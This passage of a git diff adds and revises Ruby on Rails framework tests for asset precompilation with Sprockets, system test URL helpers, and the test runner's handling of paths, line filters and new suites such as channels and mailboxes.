+      app_file "app/assets/javascripts/application.js", "alert();"
+      app_file "app/assets/stylesheets/application.css", "body{}"
+
+      app_file "app/assets/javascripts/someapplication.js", "alert();"
+      app_file "app/assets/stylesheets/someapplication.css", "body{}"
+
+      app_file "app/assets/javascripts/something.min.js", "alert();"
+      app_file "app/assets/stylesheets/something.min.css", "body{}"
+
+      app_file "app/assets/javascripts/something.else.js.erb", "alert();"
+      app_file "app/assets/stylesheets/something.else.css.erb", "body{}"
+
+      app_file "app/assets/config/manifest.js", <<~JS
+        //= link_tree ../images
+        //= link_directory ../stylesheets .css
+        //= link_directory ../javascripts .js
+      JS
+
+      images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png",
+                               "happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
+                               "happy.happy.face.png", "-happy.png", "-happy.face.png",
+                               "_happy.face.png", "_happy.png"]
+
+      images_should_compile.each do |filename|
+        app_file "app/assets/images/#{filename}", "happy"
+      end
+
+      precompile!
+
+      images_should_compile = ["a-*.png", "happyface-*.png", "happy_face-*.png", "happy.face-*.png",
+                               "happy-face-*.png", "happy.happy_face-*.png", "happy_happy.face-*.png",
+                               "happy.happy.face-*.png", "-happy-*.png", "-happy.face-*.png",
+                               "_happy.face-*.png", "_happy-*.png"]
+
+      images_should_compile.each do |filename|
+        assert_file_exists("#{app_path}/public/assets/#{filename}")
+      end
+
+      assert_file_exists("#{app_path}/public/assets/application-*.js")
+      assert_file_exists("#{app_path}/public/assets/application-*.css")
+
+      assert_no_file_exists("#{app_path}/public/assets/someapplication-*.js")
+      assert_no_file_exists("#{app_path}/public/assets/someapplication-*.css")
+
+      assert_no_file_exists("#{app_path}/public/assets/something.min-*.js")
+      assert_no_file_exists("#{app_path}/public/assets/something.min-*.css")
+
+      assert_no_file_exists("#{app_path}/public/assets/something.else-*.js")
+      assert_no_file_exists("#{app_path}/public/assets/something.else-*.css")
+    end
+
+    test "precompile something.js for directory containing index file" do
+      add_to_config "config.assets.precompile = [ 'something.js' ]"
+      app_file "app/assets/javascripts/something/index.js.erb", "alert();"
+
+      precompile!
+
+      assert_file_exists("#{app_path}/public/assets/something-*.js")
+    end
+
+    test "precompile use assets defined in app env config" do
+      add_to_env_config "production", 'config.assets.precompile = [ "something.js" ]'
+      app_file "app/assets/javascripts/something.js.erb", "alert();"
+
+      precompile! RAILS_ENV: "production"
+
+      assert_file_exists("#{app_path}/public/assets/something-*.js")
+    end
+
+    test "sprockets cache is not shared between environments" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css.erb", "body { background: '<%= asset_path('rails.png') %>'; }"
+      add_to_env_config "production", 'config.assets.prefix = "production_assets"'
+
+      precompile!
+
+      assert_file_exists("#{app_path}/public/assets/application-*.css")
+
+      file = Dir["#{app_path}/public/assets/application-*.css"].first
+      assert_match(/assets\/rails-([0-z]+)\.png/, File.read(file))
+
+      precompile! RAILS_ENV: "production"
+
+      assert_file_exists("#{app_path}/public/production_assets/application-*.css")
+
+      file = Dir["#{app_path}/public/production_assets/application-*.css"].first
+      assert_match(/production_assets\/rails-([0-z]+)\.png/, File.read(file))
+    end
+
+    test "precompile use assets defined in app config and reassigned in app env config" do
+      add_to_config 'config.assets.precompile = [ "something_manifest.js" ]'
+      add_to_env_config "production", 'config.assets.precompile += [ "another_manifest.js" ]'
+
+      app_file "app/assets/config/something_manifest.js", "//= link something.js"
+      app_file "app/assets/config/another_manifest.js", "//= link another.js"
+
+      app_file "app/assets/javascripts/something.js.erb", "alert();"
+      app_file "app/assets/javascripts/another.js.erb", "alert();"
+
+      precompile! RAILS_ENV: "production"
+
+      assert_file_exists("#{app_path}/public/assets/something_manifest-*.js")
+      assert_file_exists("#{app_path}/public/assets/something-*.js")
+      assert_file_exists("#{app_path}/public/assets/another_manifest-*.js")
+      assert_file_exists("#{app_path}/public/assets/another-*.js")
+    end
+
+    test "asset pipeline should use a Sprockets::CachedEnvironment when config.assets.digest is true" do
+      add_to_config "config.action_controller.perform_caching = false"
+      add_to_env_config "production", "config.assets.compile = true"
+
+      # Load app env
+      app "production"
+
+      assert_equal Sprockets::CachedEnvironment, Rails.application.assets.class
+    end
+
+    test "precompile creates a manifest file with all the assets listed" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+
+      precompile!
+
+      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      assert_match(/application-([0-z]+)\.css/, assets["assets"]["application.css"])
+      assert_match(/rails-([0-z]+)\.png/, assets["assets"]["rails.png"])
+    end
+
+    test "the manifest file should be saved by default in the same assets folder" do
+      app_file "app/assets/stylesheets/test.css", "a{color: red}"
+      add_to_config "config.assets.prefix = '/x'"
+
+      precompile!
+
+      manifest = Dir["#{app_path}/public/x/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      assert_match(/test-([0-z]+)\.css/, assets["assets"]["test.css"])
+    end
+
+    test "assets do not require any assets group gem when manifest file is present" do
+      app_file "app/assets/javascripts/application.js", "alert();"
+      app_file "app/assets/config/manifest.js", "//= link application.js"
+
+      precompile! RAILS_ENV: "production"
+
+      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      asset_path = assets["assets"]["application.js"]
+
+      # Load app env
+      app "production"
+
+      # Checking if Uglifier is defined we can know if Sprockets was reached or not
+      assert_not defined?(Uglifier)
+      get("/assets/#{asset_path}", {}, "HTTPS" => "on")
+      assert_match "alert()", last_response.body
+      assert_not defined?(Uglifier)
+    end
+
+    test "precompile properly refers files referenced with asset_path" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+
+      precompile!
+
+      file = Dir["#{app_path}/public/assets/application-*.css"].first
+      assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
+    end
+
+    test "precompile shouldn't use the digests present in manifest.json" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+
+      precompile! RAILS_ENV: "production"
+
+      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      asset_path = assets["assets"]["application.css"]
+
+      app_file "app/assets/images/rails.png", "p { url: change }"
+
+      precompile!
+
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      assert_not_equal asset_path, assets["assets"]["application.css"]
+    end
+
+    test "precompile appends the MD5 hash to files referenced with asset_path and run in production with digest true" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+
+      precompile! RAILS_ENV: "production"
+
+      file = Dir["#{app_path}/public/assets/application-*.css"].first
+      assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
+    end
+
+    test "precompile should handle utf8 filenames" do
+      filename = "レイルズ.png"
+      app_file "app/assets/images/#{filename}", "not an image really"
+      app_file "app/assets/config/manifest.js", "//= link_tree ../images"
+      add_to_config "config.assets.precompile = %w(manifest.js)"
+
+      precompile!
+
+      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      assert asset_path = assets["assets"].find { |(k, _)| /.png/.match?(k) }[1]
+
+      # Load app env
+      app "development"
+
+      get "/assets/#{URI::RFC2396_PARSER.escape(asset_path)}"
+      assert_match "not an image really", last_response.body
+      assert_file_exists("#{app_path}/public/assets/#{asset_path}")
+    end
+
+    test "assets are cleaned up properly" do
+      app_file "public/assets/application.js", "alert();"
+      app_file "public/assets/application.css", "a { color: green; }"
+      app_file "public/assets/subdir/broken.png", "not really an image file"
+
+      clean_assets!
+
+      files = Dir["#{app_path}/public/assets/**/*"]
+      assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}"
+    end
+
+    test "assets routes are not drawn when compilation is disabled" do
+      app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+      add_to_config "config.assets.compile = false"
+
+      # Load app env
+      app "production"
+
+      quietly do
+        get("/assets/demo.js", {}, "HTTPS" => "on")
+        assert_equal 404, last_response.status
+      end
+    end
+
+    test "does not stream session cookies back" do
+      app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/omg', :to => "omg#index"
+        end
+      RUBY
+
+      add_to_env_config "development", "config.assets.digest = false"
+
+      # Load app env
+      app "development"
+
+      class ::OmgController < ActionController::Base
+        def index
+          flash[:cool_story] = true
+          render plain: "ok"
+        end
+      end
+
+      get "/omg"
+      assert_equal "ok", last_response.body
+
+      get "/assets/demo.js"
+      assert_match "alert()", last_response.body
+      assert_nil last_response.headers["Set-Cookie"]
+    end
+
+    test "files in any assets/ directories are not added to Sprockets" do
+      %w[app lib vendor].each do |dir|
+        app_file "#{dir}/assets/#{dir}_test.erb", "testing"
+      end
+
+      app_file "app/assets/javascripts/demo.js", "alert();"
+
+      add_to_env_config "development", "config.assets.digest = false"
+
+      # Load app env
+      app "development"
+
+      get "/assets/demo.js"
+      assert_match "alert();", last_response.body
+      assert_equal 200, last_response.status
+    end
+
+    test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
+      app_with_assets_in_view
+
+      # config.assets.debug and config.assets.compile are false for production environment
+      precompile! RAILS_ENV: "production"
+
+      # Load app env
+      app "production"
+
+      class ::PostsController < ActionController::Base ; end
+
+      # the debug_assets params isn't used if compile is off
+      get("/posts?debug_assets=true", {}, "HTTPS" => "on")
+      assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+      assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
+    end
+
+    test "assets can access model information when precompiling" do
+      app_file "app/models/post.rb", "class Post; end"
+      app_file "app/assets/javascripts/application.js", "//= require_tree ."
+      app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>"
+      app_file "app/assets/config/manifest.js", "//= link application.js"
+
+      precompile!
+
+      assert_file_exists("#{app_path}/public/assets/application-*.js")
+      assert_match(/Post;/, File.read(Dir["#{app_path}/public/assets/application-*.js"].first))
+    end
+
+    test "initialization on the assets group should set assets_dir" do
+      require "#{app_path}/config/application"
+      Rails.application.initialize!(:assets)
+      assert_not_nil Rails.application.config.action_controller.assets_dir
+    end
+
+    test "enhancements to assets:precompile should only run once" do
+      app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }"
+      output = precompile!
+      assert_equal 1, output.scan("enhancement").size
+    end
+
+    test "digested assets are not mistakenly removed" do
+      app_file "app/assets/application.css", "div { font-weight: bold }"
+      add_to_config "config.assets.compile = true"
+
+      precompile!
+
+      files = Dir["#{app_path}/public/assets/application-*.css"]
+      assert_equal 1, files.length, "Expected digested application.css asset to be generated, but none found"
+    end
+
+    test "digested assets are removed from configured path" do
+      app_file "public/production_assets/application.js", "alert();"
+      add_to_env_config "production", "config.assets.prefix = 'production_assets'"
+
+      ENV["RAILS_ENV"] = nil
+
+      clean_assets!
+
+      files = Dir["#{app_path}/public/production_assets/application-*.js"]
+      assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists"
+    end
+
+    test "asset URLs should use the request's protocol by default" do
+      app_with_assets_in_view
+      add_to_config "config.asset_host = 'example.com'"
+      add_to_env_config "development", "config.assets.digest = false"
+
+      # Load app env
+      app "development"
+
+      class ::PostsController < ActionController::Base; end
+
+      get "/posts", {}, { "HTTPS" => "off" }
+      assert_match('src="http://example.com/assets/application.js', last_response.body)
+      get "/posts", {}, { "HTTPS" => "on" }
+      assert_match('src="https://example.com/assets/application.js', last_response.body)
+    end
+
+    test "asset URLs should be protocol-relative if no request is in scope" do
+      app_file "app/assets/images/rails.png", "notreallyapng"
+      app_file "app/assets/javascripts/image_loader.js.erb", "var src='<%= image_path('rails.png') %>';"
+      add_to_config "config.assets.precompile = %w{rails.png image_loader.js}"
+      add_to_config "config.asset_host = 'example.com'"
+      add_to_env_config "development", "config.assets.digest = false"
+
+      precompile!
+
+      assert_match "src='//example.com/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
+    end
+
+    test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
+      ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
+      app_file "app/assets/images/rails.png", "notreallyapng"
+      app_file "app/assets/javascripts/app.js.erb", "var src='<%= image_path('rails.png') %>';"
+      add_to_config "config.assets.precompile = %w{rails.png app.js}"
+      add_to_env_config "development", "config.assets.digest = false"
+
+      precompile!
+
+      assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
+    end
+
+    test "app:update removes_sprockets" do
+      config = "#{app_path}/config/environments/production.rb"
+      assert_changes -> { File.readlines(config).grep(/config\.assets/) }, from: ["config.assets.compile = false\n"], to: [] do
+        run_app_update
+      end
+    end
+
+    test "plugin serving sprockets assets" do
+      @plugin = make_plugin
+      @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
+      add_to_env_config "development", "config.assets.digest = false"
+
+      require "#{app_path}/config/environment"
+
+      get "/assets/engine.js"
+      assert_match "alert()", last_response.body
+    end
+
+    test "setting priority for engines with config.railties_order" do
+      @plugin = make_plugin
+
+      @blog = engine "blog" do |plugin|
+        plugin.write "lib/blog.rb", <<-RUBY
+          module Blog
+            class Engine < ::Rails::Engine
+            end
+          end
+        RUBY
+      end
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+      controller "main", <<-RUBY
+        class MainController < ActionController::Base
+          def foo
+            render inline: '<%= render partial: "application/foo" %>'
+          end
+          def bar
+            render inline: '<%= render partial: "application/bar" %>'
+          end
+        end
+      RUBY
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/foo" => "main#foo"
+          get "/bar" => "main#bar"
+        end
+      RUBY
+      @plugin.write "app/views/application/_foo.html.erb", <<-RUBY
+        Bukkit's foo partial
+      RUBY
+      app_file "app/views/application/_foo.html.erb", <<-RUBY
+        App's foo partial
+      RUBY
+      @blog.write "app/views/application/_bar.html.erb", <<-RUBY
+        Blog's bar partial
+      RUBY
+      app_file "app/views/application/_bar.html.erb", <<-RUBY
+        App's bar partial
+      RUBY
+      @plugin.write "app/assets/javascripts/foo.js", <<-RUBY
+        // Bukkit's foo js
+      RUBY
+      app_file "app/assets/javascripts/foo.js", <<-RUBY
+        // App's foo js
+      RUBY
+      @blog.write "app/assets/javascripts/bar.js", <<-RUBY
+        // Blog's bar js
+      RUBY
+      app_file "app/assets/javascripts/bar.js", <<-RUBY
+        // App's bar js
+      RUBY
+      add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]")
+      add_to_env_config "development", "config.assets.digest = false"
+
+      require "#{app_path}/config/environment"
+
+      get("/foo")
+      assert_equal "Bukkit's foo partial", last_response.body.strip
+      get("/bar")
+      assert_equal "App's bar partial", last_response.body.strip
+
+      get("/assets/foo.js")
+      assert_match "// Bukkit's foo js", last_response.body.strip
+
+      get("/assets/bar.js")
+      assert_match "// App's bar js", last_response.body.strip
+    end
+
+    private
+      def app_with_assets_in_view
+        app_file "app/assets/javascripts/application.js", "//= require_tree ."
+        app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+        app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
+        app_file "app/assets/config/manifest.js", <<~JS
+          //= link_tree ../images
+          //= link_directory ../stylesheets .css
+          //= link_directory ../javascripts .js
+        JS
+
+        app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/posts', :to => "posts#index"
+        end
+        RUBY
+      end
+
+      def make_plugin
+        engine "bukkits" do |plugin|
+          plugin.write "lib/bukkits.rb", <<-RUBY
+            module Bukkits
+              class Engine < ::Rails::Engine
+                railtie_name "bukkits"
+              end
+            end
+          RUBY
+
+          plugin.write "lib/another.rb", "class Another; end"
+        end
+      end
+  end
+end
diff --git a/railties/test/application/system_test_case_test.rb b/railties/test/application/system_test_case_test.rb
new file mode 100644
index 0000000000000..591dcedc5165b
--- /dev/null
+++ b/railties/test/application/system_test_case_test.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+class SystemTestCaseTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  test "url helpers are delegated to a proxy class" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get 'foo', to: 'foo#index', as: 'test_foo'
+      end
+    RUBY
+
+    app("test")
+
+    assert_not_includes(ActionDispatch::SystemTestCase.runnable_methods, :test_foo_url)
+  end
+
+  test "system tests use 127.0.0.1 in the url_options be default" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get 'foo', to: 'foo#index', as: 'test_foo'
+      end
+    RUBY
+
+    app("test")
+    rack_test_case = Class.new(ActionDispatch::SystemTestCase) do
+      driven_by :rack_test
+    end
+    system_test = rack_test_case.new("my_test")
+    assert_equal("http://127.0.0.1/foo", system_test.test_foo_url)
+  end
+
+  test "system tests use Capybara.app_host in the url_options if present" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get 'foo', to: 'foo#index', as: 'test_foo'
+      end
+    RUBY
+
+    app("test")
+    system_test = ActionDispatch::SystemTestCase.new("my_test")
+    previous_app_host = ::Capybara.app_host
+    ::Capybara.app_host = "https://my_test_example.com"
+
+    assert_equal("https://my_test_example.com/foo", system_test.test_foo_url)
+  ensure
+    ::Capybara.app_host = previous_app_host
+  end
+end
diff --git a/railties/test/application/test_runner_test.rb b/railties/test/application/test_runner_test.rb
index d3d5b6d6dd7be..0b98358addd94 100644
--- a/railties/test/application/test_runner_test.rb
+++ b/railties/test/application/test_runner_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
-require "active_support/core_ext/string/strip"
 require "env_helpers"
 
 module ApplicationTests
@@ -15,25 +16,49 @@ def teardown
       teardown_app
     end
 
+    def test_run_via_backwards_compatibility
+      require "minitest/rails_plugin"
+
+      assert_nothing_raised do
+        Minitest.run_via[:ruby] = true
+      end
+
+      assert Minitest.run_via[:ruby]
+    end
+
     def test_run_single_file
       create_test_file :models, "foo"
       create_test_file :models, "bar"
       assert_match "1 runs, 1 assertions, 0 failures", run_test_command("test/models/foo_test.rb")
     end
 
+    def test_run_single_file_with_absolute_path
+      create_test_file :models, "foo"
+      create_test_file :models, "bar"
+      assert_match "1 runs, 1 assertions, 0 failures", run_test_command("#{app_path}/test/models/foo_test.rb")
+    end
+
     def test_run_multiple_files
       create_test_file :models,  "foo"
       create_test_file :models,  "bar"
       assert_match "2 runs, 2 assertions, 0 failures", run_test_command("test/models/foo_test.rb test/models/bar_test.rb")
     end
 
+    def test_run_multiple_files_with_absolute_paths
+      create_test_file :models,  "foo"
+      create_test_file :controllers,  "foobar_controller"
+      create_test_file :models, "bar"
+
+      assert_match "2 runs, 2 assertions, 0 failures", run_test_command("#{app_path}/test/models/foo_test.rb #{app_path}/test/controllers/foobar_controller_test.rb")
+    end
+
     def test_run_file_with_syntax_error
       app_file "test/models/error_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
         def; end
       RUBY
 
-      error = capture(:stderr) { run_test_command("test/models/error_test.rb") }
+      error = capture(:stderr) { run_test_command("test/models/error_test.rb", stderr: true) }
       assert_match "syntax error", error
     end
 
@@ -60,12 +85,12 @@ def test_run_helpers
     end
 
     def test_run_units
-      skip "we no longer have the concept of unit tests. Just different directories..."
       create_test_file :models, "foo"
       create_test_file :helpers, "bar_helper"
       create_test_file :unit, "baz_unit"
       create_test_file :controllers, "foobar_controller"
-      run_test_units_command.tap do |output|
+
+      rails("test:units").tap do |output|
         assert_match "FooTest", output
         assert_match "BarHelperTest", output
         assert_match "BazUnitTest", output
@@ -73,6 +98,32 @@ def test_run_units
       end
     end
 
+    def test_run_all_takes_options
+      create_test_file :system, "foo"
+      assert_match "FooTest", rails("test:all", "--verbose")
+    end
+
+    def test_run_system_takes_options
+      create_test_file :system, "foo"
+      assert_match "FooTest", rails("test:system", "--verbose")
+    end
+
+    def test_run_generators_takes_options
+      create_test_file "lib/generators", "foo"
+      assert_match "FooTest", rails("test:generators", "--verbose")
+    end
+
+    def test_run_channels
+      create_test_file :channels, "foo_channel"
+      create_test_file :channels, "bar_channel"
+
+      rails("test:channels").tap do |output|
+        assert_match "FooChannelTest", output
+        assert_match "BarChannelTest", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
+      end
+    end
+
     def test_run_controllers
       create_test_file :controllers, "foo_controller"
       create_test_file :controllers, "bar_controller"
@@ -106,13 +157,25 @@ def test_run_jobs
       end
     end
 
+    def test_run_mailboxes
+      create_test_file :mailboxes, "foo_mailbox"
+      create_test_file :mailboxes, "bar_mailbox"
+      create_test_file :models, "foo"
+
+      rails("test:mailboxes").tap do |output|
+        assert_match "FooMailboxTest", output
+        assert_match "BarMailboxTest", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
+      end
+    end
+
     def test_run_functionals
-      skip "we no longer have the concept of functional tests. Just different directories..."
       create_test_file :mailers, "foo_mailer"
       create_test_file :controllers, "bar_controller"
       create_test_file :functional, "baz_functional"
       create_test_file :models, "foo"
-      run_test_functionals_command.tap do |output|
+
+      rails("test:functionals").tap do |output|
         assert_match "FooMailerTest", output
         assert_match "BarControllerTest", output
         assert_match "BazFunctionalTest", output
@@ -130,17 +193,17 @@ def test_run_integration
     end
 
     def test_run_all_suites
-      suites = [:models, :helpers, :unit, :controllers, :mailers, :functional, :integration, :jobs]
+      suites = [:models, :helpers, :unit, :channels, :controllers, :mailers, :functional, :integration, :jobs, :mailboxes]
       suites.each { |suite| create_test_file suite, "foo_#{suite}" }
       run_test_command("") .tap do |output|
         suites.each { |suite| assert_match "Foo#{suite.to_s.camelize}Test", output }
-        assert_match "8 runs, 8 assertions, 0 failures", output
+        assert_match "10 runs, 10 assertions, 0 failures", output
       end
     end
 
     def test_run_named_test
       app_file "test/unit/chu_2_koi_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class Chu2KoiTest < ActiveSupport::TestCase
           def test_rikka
@@ -159,9 +222,72 @@ def test_sanae
       end
     end
 
+    def test_run_test_at_root
+      app_file "my_test.rb", <<-RUBY
+        require "test_helper"
+
+        class MyTest < ActiveSupport::TestCase
+          def test_rikka
+            puts 'Rikka'
+          end
+        end
+      RUBY
+
+      run_test_command("my_test.rb").tap do |output|
+        assert_match "Rikka", output
+      end
+    end
+
+    def test_run_test_having_a_slash_in_its_name
+      app_file "my_test.rb", <<-RUBY
+        require "test_helper"
+
+        class MyTest < ActiveSupport::TestCase
+          test "foo/foo" do
+            puts 'Rikka'
+          end
+        end
+      RUBY
+
+      run_test_command("my_test.rb -n foo\/foo").tap do |output|
+        assert_match "Rikka", output
+      end
+    end
+
+    def test_run_test_with_flags_unordered
+      app_file "my_test.rb", <<-RUBY
+        require "test_helper"
+
+        class MyTest < ActiveSupport::TestCase
+          test "foo/foo" do
+            puts 'Rikka'
+          end
+        end
+      RUBY
+
+      run_test_command("--seed 344 my_test.rb --fail-fast -n foo\/foo").tap do |output|
+        assert_match "Rikka", output
+      end
+    end
+
+    def test_run_test_after_a_flag_without_argument
+      app_file "my_test.rb", <<-RUBY
+        require "test_helper"
+        class MyTest < ActiveSupport::TestCase
+          test "foo/foo" do
+            puts 'Rikka'
+          end
+        end
+      RUBY
+
+      run_test_command("--fail-fast my_test.rb -n foo\/foo").tap do |output|
+        assert_match "Rikka", output
+      end
+    end
+
     def test_run_matched_test
       app_file "test/unit/chu_2_koi_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class Chu2KoiTest < ActiveSupport::TestCase
           def test_rikka
@@ -188,34 +314,10 @@ def test_load_fixtures_when_running_test_suites
         directory ||= suite
         create_fixture_test directory
         assert_match "3 users", run_test_command("test/#{suite}")
-        Dir.chdir(app_path) { FileUtils.rm_f "test/#{directory}" }
+        Dir.chdir(app_path) { FileUtils.rm_r "test/#{directory}" }
       end
     end
 
-    def test_run_with_model
-      skip "These feel a bit odd. Not sure we should keep supporting them."
-      create_model_with_fixture
-      create_fixture_test "models", "user"
-      assert_match "3 users", run_task(["test models/user"])
-      assert_match "3 users", run_task(["test app/models/user.rb"])
-    end
-
-    def test_run_different_environment_using_env_var
-      skip "no longer possible. Running tests in a different environment should be explicit"
-      app_file "test/unit/env_test.rb", <<-RUBY
-        require 'test_helper'
-
-        class EnvTest < ActiveSupport::TestCase
-          def test_env
-            puts Rails.env
-          end
-        end
-      RUBY
-
-      ENV["RAILS_ENV"] = "development"
-      assert_match "development", run_test_command("test/unit/env_test.rb")
-    end
-
     def test_run_in_test_environment_by_default
       create_env_test
 
@@ -250,9 +352,52 @@ def test_run_multiple_folders
       end
     end
 
+    def test_run_multiple_folders_with_absolute_paths
+      create_test_file :models, "account"
+      create_test_file :controllers, "accounts_controller"
+      create_test_file :helpers, "foo_helper"
+
+      run_test_command("#{app_path}/test/models #{app_path}/test/controllers").tap do |output|
+        assert_match "AccountTest", output
+        assert_match "AccountsControllerTest", output
+        assert_match "2 runs, 2 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_run_relative_path_with_trailing_slash
+      create_test_file :models, "account"
+      create_test_file :controllers, "accounts_controller"
+
+      run_test_command("test/models/").tap do |output|
+        assert_match "AccountTest", output
+        assert_match "1 runs, 1 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_run_relative_path_with_leading_dot_slash
+      create_test_file :models, "account"
+      create_test_file :models, "post"
+
+      run_test_command("./test/models/account_test.rb").tap do |output|
+        assert_match "AccountTest", output
+        assert_match "1 runs, 1 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_run_windows_style_path
+      create_test_file :models, "account"
+      create_test_file :controllers, "accounts_controller"
+
+      # double-escape backslash -- once for Ruby and again for shelling out
+      run_test_command("test\\\\models").tap do |output|
+        assert_match "AccountTest", output
+        assert_match "1 runs, 1 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
     def test_run_with_ruby_command
       app_file "test/models/post_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class PostTest < ActiveSupport::TestCase
           test 'declarative syntax works' do
@@ -273,7 +418,7 @@ class PostTest < ActiveSupport::TestCase
     def test_mix_files_and_line_filters
       create_test_file :models, "account"
       app_file "test/models/post_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class PostTest < ActiveSupport::TestCase
           def test_post
@@ -294,9 +439,9 @@ def test_line_filter_does_not_run_this
       end
     end
 
-    def test_more_than_one_line_filter
+    def test_more_than_one_line_filter_macro_syntax
       app_file "test/models/post_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class PostTest < ActiveSupport::TestCase
           test "first filter" do
@@ -304,27 +449,150 @@ class PostTest < ActiveSupport::TestCase
             assert true
           end
 
+          test "line filter does not run this" do
+            assert true
+          end
+
           test "second filter" do
             puts 'PostTest:SecondFilter'
             assert true
           end
+        end
+      RUBY
+
+      pos_cases = {
+        "first line of each test" => "test/models/post_test.rb:4:13",
+        "interior of tests" => "test/models/post_test.rb:5:14",
+        "last line of each test" => "test/models/post_test.rb:7:16"
+      }
+
+      pos_cases.each do |name, cmd|
+        output = run_test_command(cmd)
+        assert_match "PostTest:FirstFilter", output, "for #{cmd} (#{name})"
+        assert_match "PostTest:SecondFilter", output, "for #{cmd} (#{name})"
+        assert_match "2 runs, 2 assertions", output, "for #{cmd} (#{name})"
+      end
+
+      # one past the end of each test matches nothing
+      run_test_command("test/models/post_test.rb:8:17").tap do |output|
+        assert_match "0 runs, 0 assertions", output
+      end
+    end
+
+    def test_line_range_filter_syntax
+      app_file "test/models/post_test.rb", <<-RUBY
+        require "test_helper"
+
+        class PostTest < ActiveSupport::TestCase
+          test "first" do # 4
+            puts 'PostTest:FirstFilter'
+            assert true
+          end
+
+          test "second" do # 9
+            puts 'PostTest:Second'
+            assert true
+          end
 
-          test "test line filter does not run this" do
+          test "third" do # 14
+            puts 'PostTest:Third'
+            assert true
+          end
+
+          test "fourth" do # 19
+            puts 'PostTest:Fourth'
             assert true
           end
         end
       RUBY
 
-      run_test_command("test/models/post_test.rb:4:9").tap do |output|
-        assert_match "PostTest:FirstFilter", output
-        assert_match "PostTest:SecondFilter", output
-        assert_match "2 runs, 2 assertions", output
+      run_test_command("test/models/post_test.rb:4-14").tap do |output|
+        assert_match "PostTest:First", output
+        assert_match "PostTest:Second", output
+        assert_match "PostTest:Third", output
+        assert_match "3 runs, 3 assertions", output
+      end
+
+      run_test_command("test/models/post_test.rb:4-9:19").tap do |output|
+        assert_match "PostTest:First", output
+        assert_match "PostTest:Second", output
